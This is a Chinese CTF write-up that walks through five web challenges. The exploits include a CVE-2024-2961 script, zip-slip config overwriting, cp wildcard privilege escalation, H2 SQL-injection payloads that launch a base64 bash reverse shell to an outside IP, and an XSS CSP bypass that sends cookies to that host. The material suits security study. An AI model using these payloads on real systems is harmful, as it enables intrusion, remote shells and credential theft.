WEB
Gavatar
题目给了docker附件,是php代码。简单看了一下web应用,就是一个注册+登录操作,然后可以上传头像。然后就是审计代码:
简单贴几个代码出来:
register.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
<?php
require_once 'common.php';
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header('Location: index.php');
exit;
}
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
if (empty($username) || empty($password)) {
header('Location: index.php?error=Invalid input');
exit;
}
if (findUserByUsername($username)) {
header('Location: index.php?error=Username already exists');
exit;
}
$user = [
'id' => generateUuid(),
'username' => $username,
'password' => password_hash($password, PASSWORD_DEFAULT)
];
$db = getDb();
$db['users'][] = $user;
saveDb($db);
$_SESSION['user_id'] = $user['id'];
header('Location: profile.php');
|
upload.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
require_once 'common.php';
highlight_file(__FILE__);
$user = getCurrentUser();
if (!$user) header('Location: index.php');
$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);
$avatarPath = "$avatarDir/{$user['id']}";
if (!empty($_FILES['avatar']['tmp_name'])) {
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
die('Invalid file type');
}
move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
$image = @file_get_contents($_POST['url']);
if ($image === false) die('Invalid URL');
file_put_contents($avatarPath, $image);
}
header('Location: profile.php');
|
common.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
<?php
session_start();
function generateUuid()
{
return sprintf(
'%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
mt_rand(0, 0xffff),
mt_rand(0, 0xffff),
mt_rand(0, 0xffff),
mt_rand(0, 0x0fff) | 0x4000,
mt_rand(0, 0x3fff) | 0x8000,
mt_rand(0, 0xffff),
mt_rand(0, 0xffff),
mt_rand(0, 0xffff)
);
}
function getDb()
{
$dbPath = __DIR__ . '/../db/db.json';
if (!file_exists($dbPath)) {
file_put_contents($dbPath, json_encode(['users' => []]));
}
return json_decode(file_get_contents($dbPath), true) ?: ['users' => []];
}
function saveDb($data)
{
file_put_contents(__DIR__ . '/../db/db.json', json_encode($data, JSON_PRETTY_PRINT));
}
function findUserByUsername($username)
{
$db = getDb();
foreach ($db['users'] as $user) {
if ($user['username'] === $username) return $user;
}
return null;
}
function getCurrentUser()
{
return isset($_SESSION['user_id']) ? findUserById($_SESSION['user_id']) : null;
}
function findUserById($id)
{
$db = getDb();
foreach ($db['users'] as $user) {
if ($user['id'] === $id) return $user;
}
return null;
}
|
avatar.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<?php
require_once 'common.php';
$user = isset($_GET['user']) ? findUserByUsername($_GET['user']) : null;
$defaultAvatar = __DIR__ . '/images/default-avatar.png';
if (!$user) {
header('Content-Type: image/png');
readfile($defaultAvatar);
exit;
}
$avatarPath = __DIR__ . "/avatars/{$user['id']}";
if (!file_exists($avatarPath)) {
header('Content-Type: image/png');
readfile($defaultAvatar);
} else {
header('Content-Type: ' . mime_content_type($avatarPath));
readfile($avatarPath);
}
|
审计代码,简单说说逻辑吧,注册时会随机生成强随机的id,然后将其写入到db.json文件中,并且上传的文件会重命名并移动到avatars目录下。在upload.php中,如下代码:
1
2
3
4
5
6
7
8
9
10
11
|
if (!empty($_FILES['avatar']['tmp_name'])) {
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
die('Invalid file type');
}
move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
$image = @file_get_contents($_POST['url']);
if ($image === false) die('Invalid URL');
file_put_contents($avatarPath, $image);
}
|
在这个elseif条件中,可以看到是存在文件读取然后文件写入的操作的,但是如果想要访问,最终的基于点都是需要知道这个id,这里我想了一下,是否能够通过覆盖掉id来进行尝试,两个地方,一个是在json文件中尝试,还有一个是在register.php文件中尝试:
1
2
3
4
5
|
$user = [
'id' => generateUuid(),
'username' => $username,
'password' => password_hash($password, PASSWORD_DEFAULT)
];
|
但是在注册后写入json文件时,采用的是json_encode($data, JSON_PRETTY_PRINT)
结构,这里是会将特殊符号转义的,所以并不能进行。还有一个就是第二个,经测试,是可以进行覆盖的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
function generateUuid()
{
return sprintf(
'%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
mt_rand(0, 0xffff),
mt_rand(0, 0xffff),
mt_rand(0, 0xffff),
mt_rand(0, 0x0fff) | 0x4000,
mt_rand(0, 0x3fff) | 0x8000,
mt_rand(0, 0xffff),
mt_rand(0, 0xffff),
mt_rand(0, 0xffff)
);
}
//$username="'123','id' => '123',";
$user = [
'id' => generateUuid(),
'username' => "admmm",
'id' => "1111"
];
echo $user["id"];
//output:1111
|
这样是可以进行的。但是,在传参解析时,只会将其设定为一个值。不可能通过一个简单的传参来更改后端的逻辑。
所以只能找其他的地方。最后在avatar.php文件中发现突破点。就简单说说逻辑吧,具体代码回去看。就是通过传参username的值,从db.json文件中获取到整个user的结构(包括id等),然后再获取到id,拼接到avatar来读取文件,然后调用了readfile()读取这个文件,其实就是上传头像后查看头像的功能。只是改了一下逻辑,不是简单的直接访问路径查看,所以这里时可以拿到文件内容的,尝试如下:
前端要求必须为网址,直接用file协议读就行,读取文件:

然后查看头像内容:

成功读取。
给了docker文件,可以知道是需要命令执行readflag的。有回显,调用文件处理函数,php版本为:

直接打CVE-2024-2961,但是需要注意session的问题。记着Session()会自动保存cookie,然后我就在改脚本,一直没改出来,最后改了如下位置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
cookie = {"username": "fupanc", "password": "123"}
self.session.post("http://localhost:8000/register.php", data=cookie)
# cookie = {"username":"fupanc","password":"123"}
# self.session.post("http://localhost:8000/login.php",data=cookie)
return self.session.post(self.url, data={"url": path})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
self.send(path)
response=self.session.get("http://localhost:8000/avatar.php?user=fupanc")
data = response.re.search(b"(.*)", flags=re.S).group(1)
return base64.decode(data)
|
然后打就行了:

最后访问flag.txt得到flag:

这里很服的一点是,审代码确实是审出来可以直接在register.php获取到cookie,但是一直打不出来,后面复现的时候发现,就是因为我想要让端口更多元,没有使用docker-compose,导致一直打不出来:

最后尝试使用docker-compose才打出来的。没错!就是在register.php就可以获取到cookie。
——————
traefik
go语言,同样给了源代码。简单审计一下,直接在flag路由就可以获取到flag了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
r.GET("/flag", func(c *gin.Context) {
xForwardedFor := c.GetHeader("X-Forwarded-For")
if !strings.Contains(xForwardedFor, "127.0.0.1") {
c.JSON(400, gin.H{"error": "only localhost can get flag"})
return
}
flag := os.Getenv("FLAG")
if flag == "" {
flag = "flag{testflag}"
}
c.String(http.StatusOK, flag)
})
|
有请求头检测,伪造一下就行。但是直接访问发现是404。那么继续审代码可以发现是文件上传+unzip,想到了zip slip,可以任意文件覆盖,审计源码,在unzip时使用的jion()函数:

可以目录穿越尝试覆盖文件,就是打zip slip了,如下文章:
https://saucer-man.com/information_security/364.html
直接用里面的脚本就行。但是现在需要看在哪里覆盖文件,经过搜索以及翻和审计docker文件,发现traefik就是一个反代理工具,并且通过dynamic.yml文件来进行路由流量的转接:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
# Dynamic configuration
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
|
可以看到这里是没有放行flag路由的。那么就需要尝试伪造一下,注意看这里的注释可以知道是动态配置的,那么就是unzio时解压来覆盖dynamic.yml达到允许flag路由通过的效果。
最开始是直接仿造到上面这个改改就行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
# Dynamic configuration
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
|
成功覆盖后可以访问flag路由了,尝试直接在请求头中用XFF来伪造。但是始终获取不到flag。后面就想,是不是这个traefik工具是不是不会转发原请求头的内容,可以自己改一下go的源码来讲请求头打印出来,最后发现确实是:

会自动转发真实ip。
打的话,生成文件用下面这个脚本就行:
1
2
3
4
5
6
7
|
import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'dynamic.yml'
#destination path of the file
zf.write(fname, '../../.config/dynamic.yml')
|
有docker,看一下目录结构就知道怎么穿了,或者直接多几个../
穿到根目录然后覆盖/app/.config/dynamic.yml
就行。
————
搜一下覆盖请求头,可以拿到如下文章:
https://www.azfum.com/archives/wswfale/
里面就提到了可以覆盖请求头,用middlewares:就行,所以使用的dynamic.yml:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- xff-rewrite
middlewares:
xff-rewrite:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"
|
生成zip文件后,上传:

解压成功:

最后再访问flag路由即可:

拿到flag。
backup
简单得RCE
————————
这道题没有docker,简单创了一个docker环境来测试,打的时候棋差一招呀,没找对选项。具体看wp吧。
一开始看页面源代码看到命令执行的地方$_REQUEST["__2025.happy.new.year"]
,非法参数名问题,post传参就行:_[2025.happy.new.year
,直接bash弹个shell,原文件的外面套的system()函数,所以直接传命令就行了(hackbar传参的话需要url编码再传):

这里的/flag
是400权限,需要提权。
根目录有一个/backup.sh 文件,文件内容为:
1
2
3
4
5
6
7
8
9
|
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15s
done
|
sh文件内容就不多说了,每隔一段时间就会运行一次,ps -aux
命令看一下是否在运行:

在运行,并且是root权限。基本你可以确定是打这个来提权了。
看到这里的*
,很熟悉的通配符提权,并且涉及到了cp命令,primary目录可写文件。如果可以创建名为../../../../flag
的文件,那么很快就出了,但是在shell中,只会将/
视作目录,所以是打不了的。
后面找思路,想到了软链接,那么就是想着软链接链接到/flag
目录,然后sh脚本会将软链接带的内容一起给设置为可读权限,需要注意的是,这里使用了-P选项,这个在cp时不会带符号链接,所以需要绕一下。网上搜,说是-a
选项可以,打了一下没打出来,后面就没怎么打了。
赛后再搜了一下,-L选项是可以打的,也就是说-L
选项会让cp命令复制软链接指向的文件,而-P
选项,只会复制软链接本身,所以打不了。
参考文章:
https://www.cnblogs.com/chentiao/p/17363300.html
最后尝试如下:
1
2
3
4
5
|
cd /var/www/html/primary
echo > -L
ln -s /flag flag123
cd ../backup
cat flag123
|
就可以得到flag。需要注意,要等sh脚本执行完了再打:

看j1rry师傅的文章,还可以打-H选项,是直接从cp --h
选项里面翻出来的,学习一下,感觉通配符提权基本都是考的利用选项来提权。
EasyDB
java题,跟着复现一下。
jadx反编译一下,拿到本地来看一源码。审计路由,发现存在登录路由:

跟进的代码查看,发现存在sql注入:

这里是直接拼接进的username和password,所以是存在sql注入的。
看一下是什么数据库:

h2数据库,道行还浅,以为是打JDBC,搜到一个打H2数据库的文章:
https://xz.aliyun.com/news/13371
里面提到了一个如果可以执行任意H2 SQL的语句,可以通过Alias Script 来进行RCE,打的堆叠注入。参考如下代码:
1
2
3
4
5
6
|
//创建别名,其实就是创建一个执行函数:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//调用SHELLEXEC执行命令
CALL SHELLEXEC('id');
CALL SHELLEXEC('whoami');
|
看代码,可以知道这个是直接会将命令执行的结果回显到页面上的,那么现在就是看怎么进行注入。
需要注意的是,在提交sql语句查询时,会先check()一下:

也就是说有黑名单,黑名单如上。看了一下,是加了小写的,所以这里主要需要绕的是runtime和exec,看这个创建别名的语句,其实就是在里面自定义了一段java命令执行的代码,和正常的Java语句没有什么却比,绕的话还是很好绕的,可以使用unicode编码关键字+反射来进行尝试:
1
2
3
4
5
6
7
8
9
|
//创建别名,其实就是创建一个执行函数:
CREATE ALIAS CMD AS $$ String cmd(String cmd) throws java.io.IOException {
Class clazz= Class.forName("java.lang.R\u0075ntime");
java.lang.reflect.Method mGet = clazz.getDeclaredMethod("getR\u0075ntime");
Object gettime = mGet.invoke(null);
java.lang.reflect.Method exee = gettime.getClass().getDeclaredMethod("e\u0078ec",String.class);
exee.invoke(gettime,cmd);}$$;
CALL CMD('whoami');
|
然后简单精简一下,如下:
1
2
3
4
5
6
|
//创建别名,其实就是创建一个执行函数:
CREATE ALIAS CMD AS $$ String cmd(String cmd) throws java.io.IOException {
Object gettime = Class.forName("java.lang.R\u0075ntime").getDeclaredMethod("getR\u0075ntime").invoke(null);
gettime.getClass().getDeclaredMethod("e\u0078ec",String.class).invoke(gettime,cmd);}$$;
CALL CMD('whoami');
|
尝试如下构造,然后拼接如下:
1
2
3
|
SELECT * FROM users WHERE username = 'admin'; CREATE ALIAS CMD AS $$ String cmd(String cmd) throws java.io.IOException {
Object gettime = Class.forName("java.lang.R\u0075ntime").getDeclaredMethod("getR\u0075ntime").invoke(null);
gettime.getClass().getDeclaredMethod("e\u0078ec",String.class).invoke(gettime,cmd);}$$; CALL CMD('whoami'); --' AND password = '%s'
|
这里是我是改成了没有回显的,直接在弹个shell即可:
1
2
|
admin'; CREATE ALIAS CMD AS $$ String cmd(String cmd) throws Exception { Class clazz= Class.forName("java.lang.R\u0075ntime");java.lang.reflect.Method mGet = clazz.getDeclaredMethod("getR\u0075ntime");Object gettime = mGet.invoke(null);java.lang.reflect.Method exee = gettime.getClass().getDeclaredMethod("e\u0078ec",String.class);exee.invoke(gettime,cmd);return "123"; }$$;
CALL CMD("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIzLjE3My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"); --
|
没弹上,直接被解析成了exec
关键字?可能就是这个原因,被waf了。看了一下其他解法,这里还可以使用拼接,比如:
1
2
|
admin'; CREATE ALIAS CMD AS $$ void cmd(String cmd) throws Exception { String name = "Run"+"time";Class clazz= Class.forName("java.lang."+name);java.lang.reflect.Method mGet = clazz.getDeClaredMethod("get"+name);Object gettime = (Object)mGet.invoke(null);gettime.getClass().getDeclaredMethod("ex"+"ec",String.class).invoke(gettime,cmd);}$$;
CALL CMD("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIzLjE3My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"); --
|
但是构造的语句总是有问题,直接用别人的了,大概如下:
1
|
admin'; CREATE ALIAS evil AS $$void jerry(String cmd) throws Exception{ String R="R"+"untime";Class<?> c = Class.forName("java.lang."+R);Object rt=c.getMethod("get"+R).invoke(null);c.getMethod("exe"+"c",String.class).invoke(rt,cmd);}$$;CALL evil('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIzLjE3My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}');--
|
确实成功弹起了,对比了一下,问题可能存在于类型转换的问题。修修改改自己的poc,还是打不出来,不多纠结了。还可以base64编码这样打:
1
|
';CREATE ALIAS hello AS $$ String hello() throws Exception { Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")));java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ==")));Object o = m1.invoke(null);java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class);m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIzLjE3My8yMzMzIDA+JjE="))}});return null; }$$; CALL hello();--
|
最后打就行了:

注意url编码,以及这个别名应该只能创一次,否则需要重新开环境。最后拿到flag:

——————
参考:
https://j1rry-learn.github.io/posts/2025-n1ctf-junior-web-%E6%96%B9%E5%90%91%E5%85%A8%E8%A7%A3/#gavatar
display
hint:用iframe嵌入子页面可以重新唤起DOM解析器解析script标签
——————
同样是给了docker源码的,node.js。审计源代码,可以看到同样是一个XSS操作,然后有csp限制:
1
2
3
4
5
6
|
const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', csp);
next();
});
|
app.js文件内容,可以知道会将所有的路由都设置上了这个限制。
看app.js文件,可以看到是对404页面进行了处理的:
1
2
3
|
app.use((req, res) => {
res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面
|
这里和SekaiCTF 2024 Tagless题很像。那么现在来看一下回显:

但是并不能解析为js代码:

控制台也没有看到CSP限制的报错。
再继续看代码,还可以看到有向bot发起请求的地方:

跟进visit()就到了bot的定义代码,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
const puppeteer = require('puppeteer');
const HOST = 'localhost:3000';
const FLAG = process.env.FLAG ?? 'flag{test}';
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
const visit = async (text) => {
const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox']
});
await browser.setCookie({
name: 'flag',
value: FLAG,
domain: HOST,
path: '/',
httpOnly: false
});
const page = await browser.newPage();
await page.goto(`http://${HOST}/?text=${encodeURI(text)}`);
await sleep(5000);
await page.close();
}
module.exports = {visit};
|
可以看到会在bot中带上flag。然后设置了httponly为false,可以通过XSS来获取。并且这里bot的访问逻辑是只访问/
路由并带上我传参的text
,这里就是需要利用的点。
现在来看前端引用的js,是一个DOM型XSS:

获取text参数,然后将其base64解码后再检验一下,check的函数内容为:
1
2
3
4
5
6
7
|
function sanitizeContent(text) {
// Only allow <h1>, <h2>, tags and plain text
const config = {
ALLOWED_TAGS: ['h1', 'h2']
};
return DOMPurify.sanitize(text, config);
}
|
这里利用到了DOMPurify来检验,这是一个用于清理HTML、MathML和SVG的JavaScript的库,也就是可以用来防范XSS攻击。搜索这个库的漏洞,可以得到如下文章:
《利用突变XSS绕过DOMPurify 2.0.0 》
但是我们这里版本为DOMPurify 3.2.3,现在并没有现成的POC来打。
在index.js文件中,有一个点值得注意一下:
1
2
|
textInput.innerHTML = sanitizedText; // 写入预览区
contentDisplay.innerHTML = textInput.innerText; // 写入效果显示区
|
这里提到了innerHTML和innerText,用一个代码来说明这两个之间的区别:
1
2
3
4
5
6
7
8
9
|
<div id="example">
<p>Hello <strong>World</strong></p>
</div>
<script>
var content = document.getElementById("example");
console.log(content.innerHTML);
console.log(content.innerText);
</script>
|
输出为:
1
2
3
|
<p>Hello <strong>World</strong></p>
Hello World
|
然后稍微改一点代码:
1
2
3
4
5
6
7
8
9
|
<div id="example">
<p>Hello <strong>World</strong></p>
</div>
<script>
var content = document.getElementById("example");
console.log(content.innerHTML);
console.log(content.innerText);
</script>
|
输出为:
1
2
3
|
<p>Hello <strong>World</p>
Hello <strong>World
|
从两个结果的对比,可以知道,这里的innerHTML用于获取或设置元素的 HTML 内容,包括所有的 HTML 标签,而innerText则是会解析HTML标签为文本,如果有HTML编码内容,那么就会将其解码一次。可以浅显理解为innerHTML就是获取全部HTML标签的内容,而innerText则是HTML渲染一次,类似于前端渲染的效果。
那么这样看来,源代码是存在漏洞的,再粘过来一下:
1
2
|
textInput.innerHTML = sanitizedText; // 写入预览区
contentDisplay.innerHTML = textInput.innerText; // 写入效果显示区
|
在这里,可以尝试将sanitizedText的内容HTML编码一下,然后textInput.innerText
会将其渲染,也就是HTML解码一次。并将其赋值给了内容显示,这样我们就可以在前端显示一个HTML标签出来,尝试如下:
编码:

然后base64编码一次传进去。
成功渲染:

这里在预览时就在前端渲染成了一个标签。但是不会解析。
经过前面的构造,那么contentDisplay前端渲染时就会被渲染为js标签:

但是并没有解析,这是因为内容是动态放置在 <div>
内的,并且由于使用了innerHTML,因此脚本没有执行。这里主要的利用点在contentDisplay,通过将contentDisplay.innerHTML设置为一个正常的html标签,然后插入到DOM树中。(这段代码设计得秒呀)
都是没有解析。那么看此时的Hint:用iframe嵌入子页面可以重新唤起DOM解析器解析script标签。
那么是限制了<script>
标签的解析?
尝试一下在404页面使用<iframe>
标签嵌入前面的/
路由:

似乎是因为?
这个get传参符号后面全都被舍弃了?那么嵌套一下404页面:

还是不行,同时,<iframe>
标签的src属性还可以直接嵌套javascript协议来直接执行代码,如:
1
|
<iframe src="javascript:alert(1)"></iframe>
|
同样的还有<iframe>
还有一个srcdoc
属性,这个属性可以直接引入<script>
标签,如:
1
|
<iframe srcdoc="<h1>hello</h1><script>alert(1)</script>"></iframe>
|
并且不受frame-src
的影响,虽然这道题的CSP没有设置frame-src
,但是可以注意一下,非常的好用。
但是在这里都没有解析。
对于<iframe>
标签的利用,如下文章说的比较清楚:
https://blog.huli.tw/2022/04/07/iframe-and-window-open/#iframe-%E7%9A%84-csp
还是不会呀,看了一下别人的wp,是在/
路由进行的弹窗,唉,思维还是定式了,还是想着sekaictf的那套打法,那么如下打(可以直接打src,也可以打srcdoc):
1
|
<iframe srcdoc="<h1>hello</h1><script>alert(1)</script>"></iframe>
|
用这个payload,还是之前的操作,HTML编码,然后base64编码。
1
|
http://localhost:53447/?text=Jmx0O2lmcmFtZSBzcmNkb2M9IiZsdDtoMSZndDtoZWxsbyZsdDsvaDEmZ3Q7Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0OyImZ3Q7Jmx0Oy9pZnJhbWUmZ3Q7
|
最后效果如下:

报错了,那么现在就是CSP绕过了,script-src设置为了self。这个就是sekaictf 2024的熟悉操作了,这里直接利用404页面构造即可,还是那个操作,本地引用,前面闭合成多行注释符,后面直接的那行注释掉,留一个完整的js代码,还是用fetch()函数:

然后让iframe来自己引入这个页面:
1
|
<iframe srcdoc="<h1>hello</h1><script src="/**/fetch('http://47.100.223.173:2333/'+document.cookie)//"></script>"></iframe>
|
然后还是没弹成功,猜是不是这里两个双引号导致直接出错了,fetch()函数还可以使用反引号(`)指定地址,改成如下这个即可:
1
|
<iframe srcdoc="<h1>hello</h1><script src='/**/fetch(`http://47.100.223.173:2333/`+document.cookie)//'></script>"></iframe>
|
然后还是之前的操作,HTML编码后在base64编码,注意要抓包传参,否则浏览器会url编码一次,导致无法成功:
最后成功拿到flag:

最后说明一个点:在其他题目中测试,同样的情况,<script>
不解析,放在<div>
标签中,应该同样是因为innerHTML,这个hint可以用来绕过这个点,并且其他题测试也是同样可以绕过的。
————
总结:很有意思的一道题,我还得练呀,还是应该想到还有/
路由有前端渲染的操作,思维还得再开点。
部分出题人的wp:
https://gist.github.com/X1r0z/0c6a4323fd600a07091d6392cb9c77b5